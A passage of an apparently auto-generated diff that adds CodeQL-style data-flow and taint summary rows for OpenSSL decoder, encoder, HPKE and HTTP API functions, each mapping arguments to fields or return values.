"(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[*input_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_bio", "(OSSL_DECODER_CTX *,BIO *)", "", "Argument[*1]", "Argument[*1].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_bio", "(OSSL_DECODER_CTX *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_data", "(OSSL_DECODER_CTX *,const unsigned char **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_data", "(OSSL_DECODER_CTX *,const unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_name", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_name", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_provider", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_provider", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_get_num_encoders", "(OSSL_ENCODER_CTX *)", "", "Argument[*0].Field[**encoder_insts].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_cleanup", "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *)", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct", "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *)", "", "Argument[1]", "Argument[*0].Field[*construct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct_data", "(OSSL_ENCODER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct_data", "(OSSL_ENCODER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct_data", "(OSSL_ENCODER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_structure", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_structure", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_type", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_type", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_selection", "(OSSL_ENCODER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[**encoder]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[*encoder]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder_ctx", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder_ctx", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder_ctx", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_structure", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[**output_structure]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_structure", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[*output_structure]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_type", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[**output_type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_type", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[*output_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_name", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_name", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_provider", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_provider", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ESS_signing_cert_new_init", "(const X509 *,const stack_st_X509 *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ESS_signing_cert_v2_new_init", "(const EVP_MD *,const X509 *,const stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_GENERAL_NAMES_print", "(BIO *,GENERAL_NAMES *,int)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HASH_free", "(OSSL_HASH *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_HASH_free", "(OSSL_HASH *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_HPKE_CTX_get_seq", "(OSSL_HPKE_CTX *,uint64_t *)", "", "Argument[*0].Field[*seq]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*mode]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*suite]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*role]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_authpriv", "(OSSL_HPKE_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_ikme", "(OSSL_HPKE_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ikme]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_ikme", "(OSSL_HPKE_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ikme]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_ikme", "(OSSL_HPKE_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ikmelen]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pskid]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**psk]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pskid]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**psk]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*psklen]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set_seq", "(OSSL_HPKE_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*seq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_encap", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_ciphertext_size", "(OSSL_HPKE_SUITE,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_keygen", "(OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[6]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[6]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_exchange", "(OSSL_HTTP_REQ_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_exchange", "(OSSL_HTTP_REQ_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_get0_mem_bio", "(const OSSL_HTTP_REQ_CTX *)", "", "Argument[*0].Field[**mem]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_get0_mem_bio", "(const OSSL_HTTP_REQ_CTX *)", "", "Argument[*0].Field[*mem]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_get_resp_len", "(const OSSL_HTTP_REQ_CTX *)", "", "Argument[*0].Field[*resp_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_nbio_d2i", "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_nbio_d2i", "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_nbio_d2i", "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[0]", "ReturnValue[*].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[2]", "ReturnValue[*].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set1_req", "(OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*2]", "Argument[3]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set1_req", "(OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[*0].Field[*max_total_time]", "Argument[*0].Field[*max_time]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[*1]", "Argument[*0].Field[**expected_ct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**expected_ct]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[2]", "Argument[*0].Field[*expect_asn1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[3]", "Argument[*0].Field[*max_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[4]", "Argument[*0].Field[*keep_alive]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines", "(OSSL_HTTP_REQ_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_hdr_lines]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_max_response_length", "(OSSL_HTTP_REQ_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*max_resp_len]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_request_line", "(OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*method_POST]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_adapt_proxy", "(const char *,const char *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_adapt_proxy", "(const char *,const char *,const char *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_adapt_proxy", "(const char *,const char *,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_exchange", "(OSSL_HTTP_REQ_CTX *,char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_exchange", "(OSSL_HTTP_REQ_CTX *,char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_exchange", "(OSSL_HTTP_REQ_CTX *,char **)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[**8]", "ReturnValue[*].Field[***upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*0]", "ReturnValue[*].Field[**server]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*1]", "ReturnValue[*].Field[**port]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*2]", "ReturnValue[*].Field[**proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*5]", "Argument[*6]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*6]", "Argument[*5]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*6]", "ReturnValue[*].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*8]", "ReturnValue[*].Field[**upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[0]", "ReturnValue[*].Field[**server]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[10]", "ReturnValue[*].Field[*max_total_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[1]", "ReturnValue[*].Field[**port]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[2]", "ReturnValue[*].Field[**proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[4]", "ReturnValue[*].Field[*use_ssl]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[6]", "ReturnValue[*].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[7]", "ReturnValue[*].Field[*upd_fn]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[8]", "ReturnValue[*].Field[*upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[9]", "ReturnValue[*].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**7]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**8]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, 